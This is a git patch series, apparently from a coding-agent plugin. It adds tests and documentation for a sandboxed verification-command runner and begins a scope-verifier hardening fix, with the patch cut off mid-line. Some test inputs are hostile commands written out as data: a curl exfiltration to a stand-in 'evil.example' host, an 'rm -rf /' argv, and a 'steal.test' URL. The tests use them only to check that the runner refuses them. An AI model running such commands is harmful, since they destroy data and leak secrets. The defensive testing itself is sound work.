executeConstrainedVerificationV1(live)); + assert.equal(revoked.code, 'proxy_denied'); + assert.equal(revoked.message.includes('revoked get'), false); +}); + +test('accessor properties never run and hostile keys stay content-free', async () => { + let reads = 0; + const input = { + policy: validPolicy(), + intent: resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }), + candidate: { repository: '/tmp/cce-p16c-candidate' }, + }; + Object.defineProperty(input, 'policy', { + enumerable: true, + get() { + reads += 1; + return validPolicy(); + }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(input)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const secret = 'sk-attacker-secret-value'; + const keyed = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent: resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }), + candidate: { repository: '/tmp/cce-p16c-candidate' }, + [secret]: `/bin/bash -c curl https://evil.example/${secret}`, + })); + assert.equal(keyed.message.includes(secret), false); + assert.equal(keyed.message.includes('bash'), false); + assert.equal(keyed.message.includes('https://'), false); + assert.equal(keyed.message.includes('evil.example'), false); +}); + +test('provider, profile, and argv substitutions cannot authorize execution', async () => { + const intent = resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }); + const provider = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + provider: 'grok', + })); + assert.equal(provider.code, 'authority_denied'); + + const selection = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + selection: { command_id: 'unit-tests', argv: ['-c', 'rm -rf /'] }, + })); + assert.equal(selection.code, 'executable_content_denied'); + + const profile = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + profile: { command: '/bin/sh' }, + })); + assert.equal(profile.code, 'authority_denied'); +}); + +test('a tampered P16B receipt is not genuine even when keys look complete', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const policy = policyForExecutable(TRUE_EXECUTABLE); + const intent = resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + }); + const tampered = JSON.parse(JSON.stringify(intent)); + tampered.argv = ['ok', '--injected']; + const error = await errorOf(() => executeConstrainedVerificationV1({ + policy, + intent: tampered, + candidate: { repository: candidate, expected_head_sha: head }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(error.code, 'intent_not_genuine'); + + const otherPolicy = policyForExecutable(TRUE_EXECUTABLE, { command_id: 'other-tests' }); + const mismatch = await errorOf(() => executeConstrainedVerificationV1({ + policy: otherPolicy, + intent, + candidate: { repository: candidate, expected_head_sha: head }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(mismatch.code, 'intent_not_genuine'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('network allowlists and PATH lookup are denied', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const allow = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE, { + network: { mode: 'allowlist', hosts: ['example.test'] }, + }), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }), { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(allow.code, 'network_allowlist_unsupported'); + assert.equal(allow.message.includes('example.test'), false); + + const relative = JSON.parse(JSON.stringify(resolveApprovedVerificationCommandV1({ + policy: policyForExecutable(TRUE_EXECUTABLE), + selection: validSelection(), + }))); + relative.executable = 'true'; + const lookup = await errorOf(() => executeConstrainedVerificationV1({ + policy: policyForExecutable(TRUE_EXECUTABLE), + intent: relative, + candidate: { repository: candidate, expected_head_sha: head }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(lookup.code, 'intent_not_genuine'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('cleanup identity swap never deletes the candidate or unresolved paths', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const deleted = []; + let workspacePath; + const base = recordingAdapter({ + child: { code: 0 }, + git: gitIdentitySnapshot({ head_sha: head, gitdir: `${candidate}/.git` }), + }); + const realLstat = (await import('node:fs/promises')).lstat; + const realMkdir = (await import('node:fs/promises')).mkdir; + const realRealpath = (await import('node:fs/promises')).realpath; + const adapter = { + ...base.adapter, + mkdir: async (target, options) => { + workspacePath = target; + return realMkdir(target, options); + }, + lstat: async (target, options) => { + const entry = await realLstat(target, options); + if (workspacePath !== undefined && target === workspacePath && deleted.length === 0 + && base.calls.spawn.length > 0) { + return { ...entry, ino: entry.ino + 1n, isSymbolicLink: () => false, isDirectory: () => true, isFile: () => false }; + } + return entry; + }, + realpath: (target) => realRealpath(target), + rmdirExact: async (record) => { + deleted.push(record.path); + }, + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(deleted.length, 0); + assert.equal(deleted.includes(candidate), false); + assert.equal(deleted.includes('/'), false); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('shell metacharacters, merge/push keys, and special workspace files are denied', async () => { + const intent = resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }); + const shell = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + shell: 'bash -c true', + })); + assert.equal(shell.code, 'executable_content_denied'); + + const merge = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + push: true, + })); + assert.ok(merge.code === 'unknown_key' || merge.code === 'mutation_permission_denied'); +}); + +test('a candidate gitdir symlink is denied before spawn', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const decoy = path.join(root, 'decoy.git'); + await mkdir(decoy); + const gitPath = path.join(candidate, '.git'); + await rm(gitPath, { recursive: true, force: true }); + await symlink(decoy, gitPath); + const error = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }), { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(error.code, 'symlink_denied'); + assert.equal(recordingAdapter().calls.spawn.length, 0); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('failures never echo native stacks, URLs, or attacker argv', async () => { + const error = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent: resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }), + candidate: { repository: '/tmp/cce-p16c-candidate', url: 'https://steal.test' }, + })); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('at parse'), false); + assert.equal(error.message.includes('TypeError'), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs b/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs new file mode 100644 index 0000000..25d3a91 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs @@ -0,0 +1,379 @@ +import assert from 'node:assert/strict'; +import { readFile, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; +import { parseEvidenceBundleV1 } from '../mcp/v3/evidence-bundle.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CONSTRAINED_VERIFICATION_SCHEMA_ID, + CONSTRAINED_VERIFICATION_VERSION, + GIT_EXECUTABLE, + UNSHARE_EXECUTABLE, + VERIFICATION_EXECUTION_DIGEST_LABEL, + executeConstrainedVerificationV1, +} from '../mcp/v3/constrained-verification-runner.mjs'; +import { + SHA_DIFF, + SHA_INPUT, + SHA_OUTPUT, + acceptanceRef, + payloadDigest, + reportRef, + validArtifactRef, + validBundle, + validClaim, + validFact, + validGitIdentityFact, +} from './fixtures/r1-evidence-fixtures.mjs'; +import { + TRUE_EXECUTABLE, + fakeChild, + genuineRequest, + gitIdentitySnapshot, + initCandidateRepo, + makeTempRoot, + policyForExecutable, + recordingAdapter, +} from './fixtures/r1-constrained-verification-runner-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(action) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +async function withHarness(fn, options = {}) { + const root = await makeTempRoot(); + const candidate = path.join(root, 'candidate'); + const executable = options.executable ?? TRUE_EXECUTABLE; + try { + const head = await initCandidateRepo(candidate); + const policy = options.policy ?? policyForExecutable(executable, options.command ?? {}); + const request = genuineRequest({ + policy, + executable, + candidate: { + repository: candidate, + expected_head_sha: head, + expected_base_sha: head, + }, + selection: options.selection, + }); + return await fn({ root, candidate, head, request, policy }); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(CONSTRAINED_VERIFICATION_SCHEMA_ID, + 'codex-co-engineer.constrained-verification.v1'); + assert.equal(CONSTRAINED_VERIFICATION_VERSION, 1); + assert.equal(CONSTRAINED_VERIFICATION_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(VERIFICATION_EXECUTION_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT); + assert.equal(GIT_EXECUTABLE, '/usr/bin/git'); + assert.equal(UNSHARE_EXECUTABLE, '/usr/bin/unshare'); +}); + +test('a genuine P16B intent executes once with shell=false, empty env, and exact argv', async () => { + await withHarness(async ({ request, candidate, head }) => { + const { adapter, calls } = recordingAdapter({ + child: { code: 0, stdout: Buffer.from('PASS\n') }, + }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(receipt.schema, CONSTRAINED_VERIFICATION_SCHEMA_ID); + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(receipt.outcome.exit_code, 0); + assert.equal(receipt.outcome.termination, 'exited'); + assert.equal(receipt.outcome.stdout_truncated, false); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(receipt.candidate_audit.unchanged, true); + assert.equal(receipt.candidate_audit.head_sha, head); + assert.equal(receipt.execution_identity.domain, IDENTITY_DOMAIN); + assert.equal(receipt.execution_identity.label, IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT); + assert.equal(receipt.observations.acceptance.payload.result, 'pass'); + assert.equal(receipt.observations.acceptance.method, 'approved_command_execution'); + assert.equal(receipt.observations.git_identity.method, 'read_only_no_changes'); + assert.equal(calls.spawn.length, 1); + assert.equal(calls.spawn[0].file, TRUE_EXECUTABLE); + assert.deepEqual(calls.spawn[0].args, ['ok']); + assert.equal(calls.spawn[0].options.shell, false); + assert.deepEqual(calls.spawn[0].options.env, {}); + assert.equal(calls.spawn[0].options.networkMode, 'deny'); + assert.equal(calls.spawn[0].options.cwd === candidate, false); + assert.equal(Object.isFrozen(request), false); + assert.throws(() => { receipt.outcome.result = 'fail'; }, TypeError); + }); +}); + +test('stdout claiming PASS is ignored when the host-observed exit code is non-zero', async () => { + await withHarness(async ({ request }) => { + const { adapter } = recordingAdapter({ + child: { code: 1, stdout: Buffer.from('PASS\nall tests passed\n') }, + }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.outcome.result, 'fail'); + assert.equal(receipt.outcome.exit_code, 1); + assert.equal(receipt.observations.acceptance.payload.result, 'fail'); + assert.equal(JSON.stringify(receipt).includes('PASS'), false); + assert.equal(JSON.stringify(receipt).includes('all tests passed'), false); + }); +}); + +test('P13 fact projections compose into an evidence bundle without trusting provider PASS', async () => { + await withHarness(async ({ request, head }) => { + const { adapter } = recordingAdapter({ child: { code: 0 } }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + const acceptance = receipt.observations.acceptance; + const git = receipt.observations.git_identity; + const acceptFact = validFact({ + payload: acceptance.payload, + payload_digest: acceptance.payload_digest, + input_digest: SHA_INPUT, + output_digest: SHA_OUTPUT, + exit_code: acceptance.exit_code, + duration_ms: acceptance.duration_ms, + truncated: false, + authority: acceptance.authority, + method: acceptance.method, + }); + const gitFact = validGitIdentityFact({ + payload: git.payload, + payload_digest: git.payload_digest, + method: git.method, + authority: git.authority, + artifact_digests: [SHA_DIFF], + }); + assert.equal(git.payload.head_sha, head); + const bundle = validBundle({ + repository: { path: request.candidate.repository, base_sha: head }, + candidate: { sha: head }, + claims: [validClaim({ payload: { result: 'pass' }, payload_digest: payloadDigest({ result: 'pass' }) })], + facts: [acceptFact, gitFact], + artifacts: [reportRef(), acceptanceRef(), validArtifactRef()], + }); + const snapshot = parseEvidenceBundleV1(bundle); + assert.equal(snapshot.final_state, 'pass'); + assert.equal(snapshot.facts[0].method, 'approved_command_execution'); + assert.equal(snapshot.facts[0].payload.result, 'pass'); + }); +}); + +test('provider-reported PASS without a matching host-observed fact cannot be accepted', async () => { + await withHarness(async ({ request, head }) => { + const { adapter } = recordingAdapter({ child: { code: 1, stdout: Buffer.from('PASS') } }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + const forged = validBundle({ + repository: { path: request.candidate.repository, base_sha: head }, + candidate: { sha: head }, + claims: [validClaim({ payload: { result: 'pass' }, payload_digest: payloadDigest({ result: 'pass' }) })], + facts: [validFact({ + payload: receipt.observations.acceptance.payload, + payload_digest: receipt.observations.acceptance.payload_digest, + exit_code: 1, + }), validGitIdentityFact({ + payload: receipt.observations.git_identity.payload, + payload_digest: receipt.observations.git_identity.payload_digest, + })], + artifacts: [reportRef(), acceptanceRef(), validArtifactRef()], + }); + const error = await errorOf(() => parseEvidenceBundleV1(forged)); + assert.ok( + error.code === 'unproven_accepted_state' || error.code === 'invalid_format', + error.code, + ); + }); +}); + +test('policy-authorized env entries are the only child environment and PATH is absent', async () => { + await withHarness(async ({ request }) => { + const { adapter, calls } = recordingAdapter({ child: { code: 0 } }); + await executeConstrainedVerificationV1(request, { adapter }); + assert.deepEqual(calls.spawn[0].options.env, { TZ: 'UTC' }); + assert.equal(Object.hasOwn(calls.spawn[0].options.env, 'PATH'), false); + }, { + command: { + environment: { entries: [{ name: 'TZ', value: 'UTC' }] }, + }, + }); +}); + +test('timeout, output flood, signal ambiguity, and escaped descendants fail closed', async () => { + await withHarness(async ({ request }) => { + const hanging = recordingAdapter({ + spawn: () => fakeChild({ hang: true, ignoreKill: true, pid: 99 }), + listDescendants: async () => [], + }); + const timeoutError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: hanging.adapter, + })); + assert.equal(timeoutError.code, 'timeout'); + + const flood = recordingAdapter({ + child: { floodBytes: 80, code: 0 }, + }); + const floodError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: flood.adapter, + })); + assert.equal(floodError.code, 'output_flood'); + + const ambiguous = recordingAdapter({ + child: { code: 0, signal: 'SIGTERM' }, + }); + const ambiguousError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: ambiguous.adapter, + })); + assert.equal(ambiguousError.code, 'signal_ambiguous'); + + const escaped = recordingAdapter({ + child: { code: 0, pid: 50 }, + listDescendants: async () => [51], + }); + const escapedError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: escaped.adapter, + })); + assert.equal(escapedError.code, 'escaped_descendants'); + }, { + command: { + timeout_ms: 1000, + resources: { max_output_bytes: 16, max_error_bytes: 16 }, + }, + }); +}); + +test('candidate mutation and identity mismatch fail closed without a pass receipt', async () => { + await withHarness(async ({ request, head }) => { + let calls = 0; + const { adapter } = recordingAdapter({ + child: { code: 0 }, + readGitIdentity: async () => { + calls += 1; + if (calls === 1) return gitIdentitySnapshot({ head_sha: head, gitdir: `${request.candidate.repository}/.git` }); + return gitIdentitySnapshot({ head_sha: 'cccccccccccccccccccccccccccccccccccccccc', gitdir: `${request.candidate.repository}/.git` }); + }, + }); + const mutated = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(mutated.code, 'candidate_mutated'); + + const mismatch = await errorOf(() => executeConstrainedVerificationV1({ + ...request, + candidate: { + repository: request.candidate.repository, + expected_head_sha: 'dddddddddddddddddddddddddddddddddddddddd', + }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(mismatch.code, 'candidate_identity_mismatch'); + }); +}); + +test('cleanup refuses broad or swapped paths and still removes the exact workspace', async () => { + await withHarness(async ({ request, candidate, root }) => { + const forbidden = []; + const { adapter, calls } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + if (record.path === '/' || record.path === root || record.path === candidate + || record.path === tmpdir()) { + forbidden.push(record.path); + throw new Error('refused broad delete'); + } + await rm(record.path, { recursive: true, force: false }); + }, + }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(calls.rmdir.length, 1); + assert.equal(calls.rmdir[0].startsWith(path.resolve(tmpdir())), true); + assert.equal(calls.rmdir[0].includes('codex-co-engineer-p16c-'), true); + assert.equal(forbidden.length, 0); + assert.notEqual(calls.rmdir[0], candidate); + assert.notEqual(calls.rmdir[0], '/'); + }); +}); + +test('default host adapter executes /usr/bin/true under network-deny confinement', async () => { + await withHarness(async ({ request }) => { + const receipt = await executeConstrainedVerificationV1(request); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(receipt.outcome.exit_code, 0); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(receipt.candidate_audit.unchanged, true); + }); +}); + +test('the module never shells, looks up PATH, or integrates server/supervisor surfaces', async () => { + const source = await readFile( + new URL('../mcp/v3/constrained-verification-runner.mjs', import.meta.url), + 'utf8', + ); + assert.match(source, /never consults PATH/u); + assert.match(source, /never uses a shell/u); + assert.match(source, /shell: false/u); + assert.doesNotMatch(source, /from '\.\/server\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/supervisor\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/process-boundary\.mjs'/u); + assert.doesNotMatch(source, /from 'node:net'/u); + assert.doesNotMatch(source, /from 'node:http'/u); + assert.doesNotMatch(source, /from 'node:dns'/u); + assert.equal(source.includes('fetch('), false); + assert.equal(source.includes('execSync('), false); + assert.equal(source.includes("shell: true"), false); + assert.doesNotMatch(source, /\bgit merge\b/u); + assert.doesNotMatch(source, /\bgit rebase\b/u); + assert.doesNotMatch(source, /\bgit push\b/u); + assert.doesNotMatch(source, /create_pr/u); +}); + +test('symlinks and special files on the executable or candidate fail closed', async () => { + const root = await makeTempRoot(); + try { + const candidate = path.join(root, 'candidate'); + const head = await initCandidateRepo(candidate); + const link = path.join(root, 'linked-true'); + await symlink(TRUE_EXECUTABLE, link); + const request = genuineRequest({ + policy: policyForExecutable(link), + executable: link, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: recordingAdapter({ child: { code: 0 } }).adapter, + })); + assert.equal(error.code, 'symlink_denied'); + + const fifoCandidate = path.join(root, 'fifo-cand'); + await writeFile(fifoCandidate, 'not-a-repo\n'); + const fileRequest = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: fifoCandidate }, + }); + const notDir = await errorOf(() => executeConstrainedVerificationV1(fileRequest, { + adapter: recordingAdapter({ child: { code: 0 } }).adapter, + })); + assert.equal(notDir.code, 'candidate_not_regular'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('the approved command is spawned exactly once per invocation', async () => { + await withHarness(async ({ request }) => { + const { adapter, calls } = recordingAdapter({ child: { code: 0 } }); + await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(calls.spawn.length, 1); + assert.equal(calls.spawn[0].file, TRUE_EXECUTABLE); + }); +}); From f3ca4460626bb78ad590669ae88cd33b20735580 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:33:10 +0000 Subject: [PATCH 083/151] docs(changelog): record the P16C constrained verification runner Note the additive runner surface and keep future-work clear that the run runtime, candidate composition, and AttentionBatchV1 remain later work. The runner is not wired into the MCP server, supervisor, or scheduler. --- CHANGELOG.md | 22 ++++++++++++++++++++++ SECURITY.md | 3 +++ docs/configuration.md | 6 +++++- docs/future-work.md | 11 ++++++----- docs/threat-model.md | 6 +++++- 5 files changed, 41 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e90581a..5d06448 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,28 @@ ### Added +- **Constrained verification runner.** Adds additive + `constrained-verification-runner.mjs` for W16-P16C. The module consumes a + genuine immutable P16B ExecutionIntent receipt plus trusted P16A + `VerificationPolicyV1`, creates a disposable verification workspace + disjoint from the candidate, and executes the exact owner-approved + absolute executable and argv once with `shell=false` and no PATH lookup. + The child environment is empty by default and receives only + policy-authorized bounded entries. The runner enforces timeout, + signal/termination fail-closed rules, stdout/stderr byte caps, + host-available process isolation (Linux user/pid/net namespace via + `unshare` on the default adapter), network deny/default (allowlists are + unsupported), and one execution only. Candidate Git identity and + filesystem are audited before and after; persistent + candidate/ref/config/worktree mutation fails closed. Temporary cleanup + deletes only the exact workspace this invocation created. Outcome + evidence is bounded, sanitized, and P13-compatible: host-observed exit + status is never upgraded from provider-reported PASS. The module is not + wired into the MCP server, supervisor, scheduler, or process-boundary + worker launcher, and it does not merge, rebase, push, open a pull + request, or mutate a protected ref. Coverage lives in + `test/r1-constrained-verification-runner.test.mjs` and + `test/r1-constrained-verification-runner-adversarial.test.mjs`. - **Approved verification-command resolver.** Adds additive `approved-verification-command.mjs` for W15-P16B. The module consumes an immutable trusted `VerificationPolicyV1` from P16A plus a closed diff --git a/SECURITY.md b/SECURITY.md index 0e8e9ed..4ad931c 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -40,6 +40,9 @@ and local; sanitized bounded evidence is the model-facing projection. Profiles are data-only. `VerificationPolicyV1` is the only executable command catalog for verification lanes; provider-reported or requested commands are evidence/attention and are never automatically executed. +The constrained verification runner executes only a genuine owner-approved +ExecutionIntent in a disposable workspace and does not treat +provider-reported PASS as a fact. Manual run cleanup is proof-bound; there is no automatic garbage collection. diff --git a/docs/configuration.md b/docs/configuration.md index 2cb5bc8..f10e52a 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -6,7 +6,11 @@ described in [Profiles](#profiles); verification commands never come from profiles and remain a separate owner-maintained `VerificationPolicyV1`. The approved-command resolver consumes that owner policy plus a closed Codex/owner `command_id` selection and returns a frozen ExecutionIntent -receipt; it does not execute the command. +receipt; it does not execute the command. The constrained verification +runner consumes only a genuine P16B receipt plus that trusted policy, +runs the exact owner-approved executable and argv once in a disposable +workspace separate from the candidate, and records bounded sanitized +host-observed evidence. It is not wired into the MCP server. Provider authentication is normal persistent login/session state or an owner-only key file. The setup command installs the pinned local composition and creates the default DSH configuration; it never performs login on the diff --git a/docs/future-work.md b/docs/future-work.md index 47eec4f..c4deaa0 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-21 +Last updated: 2026-08-23 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -17,10 +17,11 @@ fallback or replay, and Codex-only final acceptance. This worktree does not implement the run runtime, candidate composition, or `AttentionBatchV1`. The P16A VerificationPolicyV1 schema and owner -loader plus the P16B approved-command resolver exist as data validation -and resolution only; P16C trusted-policy command execution remains later -work. Gate A remains the functional release authority; Gate B -context-efficiency and Gate C credit economics stay advisory. +loader, the P16B approved-command resolver, and the P16C constrained +verification runner exist as additive v3 modules. The runner is not wired +into the MCP server, supervisor, or scheduler. Gate A remains the +functional release authority; Gate B context-efficiency and Gate C credit +economics stay advisory. ## Durable, low-token agent completion waits diff --git a/docs/threat-model.md b/docs/threat-model.md index 5498a2e..f31e906 100644 --- a/docs/threat-model.md +++ b/docs/threat-model.md @@ -104,7 +104,11 @@ executable command catalog those lanes may run. Codex may select only approved command IDs and permitted parameters; manifests carry those IDs and parameters, never arbitrary executable argv. The approved-command resolver binds a closed Codex/owner selection to a frozen ExecutionIntent -receipt without executing. Provider-reported or provider-requested +receipt without executing. The constrained verification runner consumes +only a genuine immutable receipt plus trusted policy, executes that exact +command once in a disposable workspace, and fails closed on candidate +mutation, escaped descendants, output floods, timeouts, and cleanup +uncertainty. Provider-reported or provider-requested commands are evidence or attention only and are never automatically executed. A verifier may not: From 2c886cf9a7c0631e590ceafe66e25d45a9567651 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:54:47 +0000 Subject: [PATCH 084/151] fix(verify): close ignored, index, merge-head, copy, lstat, and fsmonitor holes Enumerate ignored worktree paths, fail closed on assume-unchanged and skip-worktree, observe chmod despite core.fileMode=false, inspect HEAD parents when base_sha equals head_sha, detect unchanged-source copies, lstat-prove untracked paths, and disable fsmonitor on every Git spawn. --- .../mcp/v3/scope-verifier.mjs | 206 ++++++++++++++++-- .../fixtures/r1-scope-verifier-fixtures.mjs | 63 +++++- .../r1-scope-verifier-adversarial.test.mjs | 99 ++++++++- .../test/r1-scope-verifier.test.mjs | 3 +- 4 files changed, 346 insertions(+), 25 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs b/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs index 011d682..1e394d7 100644 --- a/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs +++ b/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs @@ -15,12 +15,18 @@ // // Observation is fail-closed: spawn is argv-only, the child environment is // the P14 closed map (system/global/caller config and protocols disabled), +// closed -c overrides disable fsmonitor/fileMode hiding on every spawn, // output/time/command counts are bounded, typed errors never echo hostile -// bytes, and a pre/post fingerprint mismatch is an observation race. +// bytes, and a pre/post fingerprint mismatch is an observation race. Ignored +// worktree paths, assume-unchanged/skip-worktree flags, HEAD parents +// (including base_sha===head_sha), unchanged-source copies, and untracked +// lstat proofs are observed through Git-native or lstat evidence. import { Buffer as NodeBuffer } from 'node:buffer'; import { spawn as nodeSpawn } from 'node:child_process'; import { createHash } from 'node:crypto'; +import { lstat as nodeLstat } from 'node:fs/promises'; +import path from 'node:path'; import { types as utilTypes } from 'node:util'; import { @@ -123,6 +129,14 @@ const SCOPE_GIT_ISOLATION_FLAGS = capturedFreeze([ '-c', 'log.showSignature=false', ]); +const SCOPE_GIT_RUNTIME_OVERRIDES = capturedFreeze([ + '-c', 'core.fsmonitor=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.untrackedCache=false', + '-c', 'core.fileMode=true', + '-c', 'diff.external=', +]); + const FORBIDDEN_ENV_KEYS = capturedFreeze([ 'GIT_DIR', 'GIT_WORK_TREE', 'GIT_OBJECT_DIRECTORY', 'GIT_ALTERNATE_OBJECT_DIRECTORIES', 'GIT_INDEX_FILE', 'GIT_COMMON_DIR', @@ -162,6 +176,10 @@ const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH('sha256')); const HASH_UPDATE = HASH_PROTOTYPE.update; const HASH_DIGEST = HASH_PROTOTYPE.digest; const SPAWN = nodeSpawn; +const LSTAT = nodeLstat; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; const REFLECT_APPLY = Reflect.apply; const STRING_FROM_CODE_POINT = String.fromCodePoint; const IS_PROXY = utilTypes.isProxy; @@ -539,6 +557,22 @@ function parseOptions(options, path = 'options') { return freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn }); } +function prependClosedGitOverrides(args) { + if (!ARRAY_IS_ARRAY(args)) return args; + const isolated = []; + for (let index = 0; index < SCOPE_GIT_RUNTIME_OVERRIDES.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, isolated, [SCOPE_GIT_RUNTIME_OVERRIDES[index]]); + } + for (let index = 0; index < args.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, isolated, [args[index]]); + } + return isolated; +} + +function wrapIsolatedSpawn(spawnFn) { + return (command, args, options) => spawnFn(command, prependClosedGitOverrides(args), options); +} + function splitNul(text) { if (typeof text !== 'string') return []; if (text.length === 0) return []; @@ -708,6 +742,106 @@ function parseLsFilesOthers(stdout, path, paths, seen) { } } +function parseLsFilesVerbose(stdout, path) { + const parts = splitNul(stdout); + for (let index = 0; index < parts.length; index += 1) { + const entry = parts[index]; + if (typeof entry !== 'string' || entry.length < 3 || entry.charCodeAt(1) !== 0x20) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const tag = entry.charCodeAt(0); + if (tag > 0x7e || tag < 0x20) { + fail('hostile_name_denied', path, `${path} produced an unexpected git observation.`); + } + if (tag !== 0x48) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + } +} + +function isSymlinkStat(metadata) { + return typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink(); +} + +function isFileStat(metadata) { + return typeof metadata?.isFile === 'function' && 